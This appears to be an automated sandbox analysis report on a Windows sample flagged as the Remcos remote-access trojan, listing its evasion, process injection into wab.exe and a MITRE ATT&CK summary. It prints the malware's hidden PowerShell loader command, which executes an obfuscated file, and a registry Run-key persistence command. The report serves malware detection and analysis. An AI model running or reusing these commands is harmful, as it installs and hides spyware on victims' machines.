Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4335	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5617	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Window / User API: threadDelayed 1377	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Window / User API: threadDelayed 1029	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Window / User API: threadDelayed 5935	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Window / User API: foregroundWindowGot 1725	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1028	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1322	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3801	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3603	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 614
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1644
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2950
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1735

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3148	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3164	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3460	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3588	Thread sleep count: 1377 > 30	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3596	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3608	Thread sleep count: 1029 > 30	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3608	Thread sleep time: -3087000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3604	Thread sleep count: 97 > 30	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3604	Thread sleep time: -48500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3608	Thread sleep count: 5935 > 30	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3608	Thread sleep time: -17805000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3780	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3784	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3824	Thread sleep count: 3801 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3812	Thread sleep count: 3603 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3864	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3876	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4072	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4068	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4092	Thread sleep count: 2950 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4092	Thread sleep count: 1735 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3180	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3176	Thread sleep time: -360000s >= -30000s
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 2052	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3376	Thread sleep time: -60000s >= -30000s

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Last function: Thread delayed

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Thread sleep count: Count: 1377 delay: -5

Jump to behavior

Source: C:\Users\user\Desktop\documento.exe	Code function: 0_2_00406001 FindFirstFileA,FindClose,	0_2_00406001
Source: C:\Users\user\Desktop\documento.exe	Code function: 0_2_00402688 FindFirstFileA,	0_2_00402688
Source: C:\Users\user\Desktop\documento.exe	Code function: 0_2_0040559F GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_0040559F

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\Deinotherium\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\	Jump to behavior

Source: C:\Users\user\Desktop\documento.exe	API call chain: ExitProcess graph end node			graph_0-3553
Source: C:\Users\user\Desktop\documento.exe	API call chain: ExitProcess graph end node			graph_0-3557

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_001AD53C LdrInitializeThunk,

3_2_001AD53C

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F2522 mov edx, dword ptr fs:[00000030h]	15_2_083F2522
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F2892 mov ebx, dword ptr fs:[00000030h]	15_2_083F2892
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F2892 mov ebx, dword ptr fs:[00000030h]	15_2_083F2892
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F2892 mov ebx, dword ptr fs:[00000030h]	15_2_083F2892
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F278E mov ebx, dword ptr fs:[00000030h]	15_2_083F278E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F278E mov ebx, dword ptr fs:[00000030h]	15_2_083F278E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F278E mov ebx, dword ptr fs:[00000030h]	15_2_083F278E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F278E mov ebx, dword ptr fs:[00000030h]	15_2_083F278E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F2781 mov eax, dword ptr fs:[00000030h]	15_2_083F2781
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F24EE mov edx, dword ptr fs:[00000030h]	15_2_083F24EE

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 1F90000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 22F91C	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 1F90000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 14FA18	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 1F90000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 21FC78

Source: C:\Users\user\Desktop\documento.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c reg add hkcu\software\microsoft\windows\currentversion\run /f /v "startup key" /t reg_expand_sz /d "%knkbrdet% -windowstyle minimized $preeternal=(get-itemproperty -path 'hkcu:\morassweed\').herbalize;%knkbrdet% ($preeternal)"
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c reg add hkcu\software\microsoft\windows\currentversion\run /f /v "startup key" /t reg_expand_sz /d "%knkbrdet% -windowstyle minimized $preeternal=(get-itemproperty -path 'hkcu:\morassweed\').herbalize;%knkbrdet% ($preeternal)"			Jump to behavior

Source: wab.exe, 00000006.00000002.866892514.00000000003D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerndows PowerShellll\v1.0\powershell.exe
Source: wab.exe, 00000006.00000002.866892514.0000000000407000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|
Source: wab.exe, 00000006.00000002.866892514.000000000042B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [Program Manager]

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\documento.exe

Code function: 0_2_00405D1F GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405D1F

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Remcos RAT

Source: Yara match	File source: 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wab.exe PID: 3336, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\mqerms.dat, type: DROPPED

Searches for Windows Mail specific files

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Program Files (x86)\Windows Mail wab.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Program Files (x86)\Windows Mail wab.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Program Files (x86)\Windows Mail *	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Program Files (x86)\Windows Mail NULL	Jump to behavior

Remote Access Functionality

Yara detected Remcos RAT

Source: Yara match	File source: 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wab.exe PID: 3336, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\mqerms.dat, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	11 Input Capture	4 File and Directory Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	111 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	1 Obfuscated Files or Information	LSASS Memory	15 System Information Discovery	Remote Desktop Protocol	1 Email Collection	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
